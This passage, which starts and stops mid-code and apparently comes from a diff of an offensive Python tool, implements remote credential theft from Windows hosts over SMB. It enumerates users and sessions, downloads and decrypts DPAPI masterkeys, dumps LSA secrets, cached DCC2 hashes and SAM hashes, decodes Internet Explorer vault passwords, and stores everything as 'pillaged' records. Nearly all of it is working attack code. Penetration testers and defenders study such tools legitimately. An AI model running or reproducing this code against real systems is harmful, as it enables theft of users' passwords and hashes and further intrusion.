,localfile,blob_type,args=[]): + try: + self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}") + blob_type = secret_file['type'] + localfile = secret_file['path'] + data = secret_file['data'] + + if blob_type=='vault' or blob_type=='vcrd': + try: + vault_name = secret_file['vault_name']#args[0] + vault_type = secret_file['vault_type']#args[1] + self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ") + print(vault_type) + if vault_type == 'WinBio Key': + data = self.dump_VAULT_WIN_BIO_KEY(user,localfile,data) + elif vault_type == 'NGC Local Account Logon Vault Credential': + data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user,localfile,data) + elif "NGC" in vault_type : + data = self.dump_VAULT_NGC_ACCOOUNT(user,localfile,data) + elif vault_type == 'Internet Explorer': + data = self.dump_VAULT_INTERNET_EXPLORER(user,localfile,data) + self.logsecret(f"Vault {vault_name} : {data} ") + #user.secrets["Vault:%s" % vault_name] = data + secret_file['secret'] = data + self.dump_to_file(localfile, data) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_INTERNET_EXPLORER(self,user,localfile,vault_blob): + try: + self.logging.debug("Formating VAULT_INTERNET_EXPLORER info") + retval = "[Internet Explorer]\n" + retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n" + retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n" + retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n" + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=f"{vault_blob['Username'].decode('utf-16le')}", + credz_password=f"{vault_blob['Password'].decode('utf-16le')}", + credz_target=f"{vault_blob['Resource'].decode('utf-16le')}", + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return retval + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_WIN_BIO_KEY(self,user,localfile,vault_blob): + try: + self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file") + retval ="\n[WINDOWS BIOMETRIC KEY]\n" + retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() + retval +=f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n" + retval +=f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n" + return retval + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_NGC_LOCAL_ACCOOUNT(self,user,localfile,vault_blob): + try: + self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file") + retval ="\n[NGC LOCAL ACCOOUNT]\n" + retval +='UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"]) + retval +='IV : %s\n' % hexlify(vault_blob["IV"]) + retval +='CipherText : %s\n' % hexlify(vault_blob["CipherText"]) + return retval + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_NGC_ACCOOUNT(self,user,localfile,vault_blob): + try: + self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file") + retval ="\n[NGC VAULT]\n" + retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() + retval +='Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le') + #A completer ? + vault_blob['Blob'].dump() + + return retval + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}") + self.logging.debug(ex) + + + + + def do_who(self): + #if self.loggedIn is False: + # self.logging.error("Not logged in") + # return + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) + + for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: + self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % ( + session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], + session['sesi10_idle_time'])) + self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1]) + + + def get_users(self): + self.logging.debug("Listing Users by enumerating directories in $Share\\Users") + blacklist = ['.', '..', 'desktop.ini'] + shares = self.myfileops.get_shares() + #Intégrer les users share du premier test + if 'C$' in shares: # Most likely + self.myfileops.do_use('C$') + #self.myfileops.pwd = 'Users' + completion=self.myfileops.do_ls('Users','*', display=False) + for infos in completion: + longname, is_directory = infos + if is_directory and longname not in blacklist: + for user in self.users: + if longname == user.username: + break + else: + self.users.append(MyUser(longname,self.logging,self.options)) + self.logging.info(f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") + user=self.GetUserByName(longname) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + user.share='C$' + else: + for share in shares: + self.myfileops.do_use(share) + #self.pwd = 'Users' + completion=self.myfileops.do_ls('Users','*', display=False) + for infos in completion: + longname, is_directory = infos + if is_directory and longname not in blacklist: + for user in self.users: + if longname == user['username']: + break + else: + self.users.append(MyUser(longname,self.logging,self.options)) + self.logging.debug(f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") + user = self.GetUserByName(longname) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + user.share = share + #+ADD LOCAL MACHINE ACCOUNT + user = MyUser("MACHINE$", self.logging, self.options) + user.type = 'MACHINE' + user.share = 'C$' + self.users.append(user) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + return self.users + + def get_masterkeys(self): + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}") + blacklist = ['.', '..'] + # self.get_shares() + #self.get_users() + for user in self.users: + if user.username != 'MACHINE$': + try: + tmp_pwd = ntpath.join(ntpath.join('Users', user.username),'AppData\\Roaming\\Microsoft\\Protect') + self.logging.debug(f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd) + my_directory = self.myfileops.do_ls(tmp_pwd,'', display=True) + for infos in my_directory: + try: + longname, is_directory = infos + if longname not in blacklist: + self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys") + if is_directory and longname[:2] == 'S-': # SID + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") + user.sid = longname + if user.sid.startswith('S-1-5-80'): + self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") + user.is_adconnect = True + #user.check_usertype() + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if not is_directory2 and is_guid(longname2): # GUID + self.download_masterkey(user, tmp_pwd2, longname2, type='USER') + elif is_directory: + self.logging.debug(f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname) + else: + self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname) + if "CREDHIST" in longname: + self.download_credhist(user, tmp_pwd, longname, type='USER') + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}") + self.logging.debug(ex) + continue + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}") + self.logging.debug(ex) + continue + ##MACHINE MASTERKEYS + try: + user=self.GetUserByName('MACHINE$') + #Make a "MACHINE$" user + """user=MyUser("MACHINE$",self.logging,self.options) + user.type='MACHINE' + self.users.append(user)""" + + tmp_pwd = 'Windows\\System32\\Microsoft\\Protect'#Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ? + self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd) + my_directory = self.myfileops.do_ls(tmp_pwd,'', display=False) + for infos in my_directory: + longname, is_directory = infos + if longname not in blacklist: + if is_directory and longname[:2] == 'S-': # SID + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") + user.sid = longname + if user.sid.startswith('S-1-5-80'): + self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") + user.is_adconnect = True + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if longname2 not in blacklist: + if not is_directory2 and is_guid(longname2): # GUID + # Downloading file + self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE') + elif is_directory2 and longname2=='User': #On se limite a ca pour le moment + tmp_pwd3 = ntpath.join(tmp_pwd2, longname2) + my_directory3 = self.myfileops.do_ls(tmp_pwd3,'', display=False) + for infos3 in my_directory3: + longname3, is_directory3 = infos3 + if longname3 not in blacklist: + if not is_directory3 and is_guid(longname3): # GUID + self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}") + # Downloading file + self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER') + else: + self.logging.debug( + "Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3)) + else: + self.logging.debug("Found unexpected file/directory %s in %s"%(tmp_pwd2,longname2)) + elif is_directory: + self.logging.debug("Found (not SID) Directory %s" % longname) + else: + self.logging.debug("Found file %s" % longname) + if "CREDHIST" in longname: + self.download_credhist(user, tmp_pwd, longname, type='MACHINE') + + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}") + self.logging.debug(ex) + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}") + + def download_credhist(self,user, tmp_pwd, longname, type='MACHINE'): + # Downloading file + try: + + self.logging.debug( + f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}") + #from lib.dpapi_pick.credhist import CredHistFile + #localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname)) + '''f=open(localfile,'rb') + credhistdata = f.read() + f.close() + myCredhistfile = CredHistFile(raw=credhistdata) + + print(repr(myCredhistfile)) + #myCredhistfile = CredHistFile(raw=credhistdata) + for username in self.options.credz: + if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST") + for password in self.options.credz[username]: + ret=myCredhistfile.decryptWithPassword(password) + print(ret) + ''' + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}") + self.logging.debug(ex) + + + + + def download_masterkey(self,user,path,guid,type): + guid=guid.lower() + if is_guid(guid): + self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}") + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(path, guid)) + #Get Type and hash + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid = user.sid + myoptions.username = user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + #myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions, self.logging) + if self.options.GetHashes == True: + masterkey_hash,is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True) + else : + masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False) + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}") + self.logging.debug(ex) + try: + user.masterkeys_file[guid]={} + user.masterkeys_file[guid]['path'] = localfile + user.masterkeys_file[guid]['status'] = 'encrypted' + if self.options.GetHashes == True: + user.masterkeys_file[guid]['hash'] = masterkey_hash + if is_domain_sid : + type='DOMAIN' + user.type_validated = True + user.type = type #LOCAL,DOMAIN,MACHINE,MACHINE-USER + self.db.add_sid(username=user.username,sid=user.sid) + self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,status=user.masterkeys_file[guid]['status'],pillaged_from_computer_ip=self.options.target_ip,pillaged_from_username=user.username) + if self.options.GetHashes == True: + for hash in user.masterkeys_file[guid]['hash']: + self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid, hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip) + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}") + self.logging.debug(ex) + + def get_masterkey(self,user,guid,type): + guid=guid.lower() + if guid not in user.masterkeys_file : + self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + else: + self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + elif user.masterkeys_file[guid]['status'] == 'encrypted': + return self.decrypt_masterkey(user,guid,type) + + + def decrypt_masterkey(self,user,guid,type=''): + self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})") + guid=guid.lower() + if guid not in user.masterkeys_file : + self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + localfile=user.masterkeys_file[guid]['path'] + + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + else: + if user.type_validated == True: + type=user.type + + if type == 'MACHINE': + # Try de decrypt masterkey file + for key in self.machine_key: + self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid=None#user.sid + myoptions.username=user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions,self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey!= None and decrypted_masterkey!= -1: + #self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + #user.masterkeys[localfile] = decrypted_masterkey + user.type='MACHINE' + user.type_validated = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'],decrypted_with="MACHINE-KEY",decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + #if user.type_validated == False: + self.decrypt_masterkey(user, guid, type='MACHINE-USER') + + elif type == 'MACHINE-USER': + # Try de decrypt masterkey file + for key in self.user_key: + self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}")#and SID %s , user.sid )) + try: + #key1, key2 = deriveKeysFromUserkey(tsid, userkey) + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + if user.is_adconnect is True: + myoptions.key = key.decode("utf-8") + myoptions.sid = user.sid + else : + myoptions.key = key.decode("utf-8")#None + myoptions.sid = None#user.sid + + myoptions.username = user.username + myoptions.pvk = None + mydpapi = DPAPI(myoptions,self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey!=None: + #self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + #user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE-USER' + user.type_validated = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + if user.type_validated == False and not user.is_adconnect: + return self.decrypt_masterkey(user, guid, type='DOMAIN') + + elif type=='DOMAIN' and self.options.pvk is not None : + #For ADConnect + if user.is_adconnect is True: + return self.decrypt_masterkey(user, guid, type='MACHINE-USER') + # Try de decrypt masterkey file + self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.username = user.username + myoptions.sid = user.sid + mydpapi = DPAPI(myoptions,self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey!=None: + #self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + #user.masterkeys[localfile] = decrypted_masterkey + user.type = 'DOMAIN' + user.type_validated = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], decrypted_with="DOMAIN-PVK", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") + self.logging.debug(f"exception was : {ex}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + + #type==LOCAL + # On a des credz + if len(self.options.credz) > 0 and user.masterkeys_file[guid]['status'] != 'decrypted': #localfile not in user.masterkeys: + self.logging.debug(f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") + for username in self.options.credz: + if username in user.username :#pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[user.username])} credz for user {user.username}") + #for test_cred in self.options.credz[user.username]: + try: + self.logging.debug(f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + #myoptions.password = self.options.credz[username] + myoptions.sid = user.sid + myoptions.pvk = None + myoptions.key = None + mydpapi = DPAPI(myoptions,self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) + if decrypted_masterkey != -1 and decrypted_masterkey!=None: + #self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + #user.masterkeys[localfile] = decrypted_masterkey + user.type = 'LOCAL' + user.type_validated = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with=f"Password:{self.options.credz[username]}", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else : + self.logging.debug(f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") + self.logging.debug(ex) + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") + # on a pas su le dechiffrer, mais on conseve la masterkey + '''if localfile not in user.masterkeys: + user.masterkeys[localfile] = None''' + if user.masterkeys_file[guid]['status'] == 'encrypted': + user.masterkeys_file[guid]['status'] = 'decryption_failed' + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'],decrypted_with='', decrypted_value='', + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return -1 + elif user.masterkeys_file[guid]['status'] == 'decrypted':#Should'nt go here + return user.masterkeys_file[guid] + + def test_remoteOps(self): + try: + #Remove logging + #logging.getLogger().setLevel(logging.CRITICAL) + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}") + self.__remoteOps = RemoteOperations(self.smb, self.options.k, self.options.dc_ip) + self.__remoteOps.setExecMethod('smbexec') + self.__remoteOps.enableRegistry() + self.__bootKey = self.__remoteOps.getBootKey() + self.logging.debug("bootkey") + SECURITYFileName = self.__remoteOps.saveSECURITY() + self.logging.debug("savesecurity") + self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps,isRemote=True, history=True) + self.logging.debug("LSASecret") + self.__LSASecrets.dumpCachedHashes() + self.logging.debug("dump cached hashes") + self.__LSASecrets.dumpSecrets() + + filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'LSA') + Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True) + self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}") + finalfile=self.__LSASecrets.exportSecrets(filedest) + self.logging.debug("ret file %s" % finalfile) + self.__LSASecrets.exportCached(filedest) + #Analyser les hash DCC2 pour un export massif. + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps LSA") + self.logging.debug(ex) + try: + tmp_filedest=filedest+'.secrets' + f=open(tmp_filedest,'rb') + secrets=f.read().split(b'\n') + f.close() + for index,secret in enumerate(secrets): + if b'dpapi_machinekey' in secret: + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}") + #print(secret.split(b'dpapi_machinekey:')[1]) + self.machine_key.append(secret.split(b'dpapi_machinekey:')[1]) + self.logging.debug(self.machine_key) + if b'dpapi_userkey' in secret: + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}") + self.user_key.append(secret.split(b'dpapi_userkey:')[1]) + self.logging.debug(self.user_key) + if b':' in secret: + if secret.count(b':')==1: + username,password=secret.split(b':') + if username.decode('utf-8') not in ['dpapi_machinekey','dpapi_userkey','NL$KM']: + if username.decode('utf-8') not in self.options.credz: + + self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')] + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") + + else: + if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: + self.options.credz[username.decode('utf-8')].append(password.decode('utf-8')) + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='LSA', + credz_username=username.decode('utf-8'), + credz_password=password.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + else: + self.logging.debug("Secret %i - %s"%(index,secret)) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps Secrets") + self.logging.debug(ex) + + try: + ##Add DCC2 + + tmp_filedest=filedest+'.cached' + f=open(tmp_filedest,'rb') + secrets=f.read().split(b'\n') + f.close() + for index,secret in enumerate(secrets): + if b':' in secret and b'#' in secret: + if secret.count(b':')==1: + username,password=secret.split(b':') + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='DCC2', + credz_username=username.decode('utf-8'), + credz_password=password.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + else: + self.logging.debug("Secret %i - %s"%(index,secret)) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps LSA DCC2") + self.logging.debug(ex) + + try: + #Add SAM + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}") + SAMFileName = self.__remoteOps.saveSAM() + self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True) + self.__SAMHashes.dump() + filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'SAM') + self.__SAMHashes.export(filedest) + #Adding SAM hash to credz + tmp_filedest = filedest + '.sam' + f = open(tmp_filedest, 'rb') + sam_data = f.read().split(b'\n') + f.close() + for sam_line in sam_data: + if b':' in sam_line: + if sam_line.count(b':')==6: + username,sid,lm,ntlm,_,_,_=sam_line.split(b':') + #On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi + ''' + if username.decode('utf-8') not in self.options.credz: + 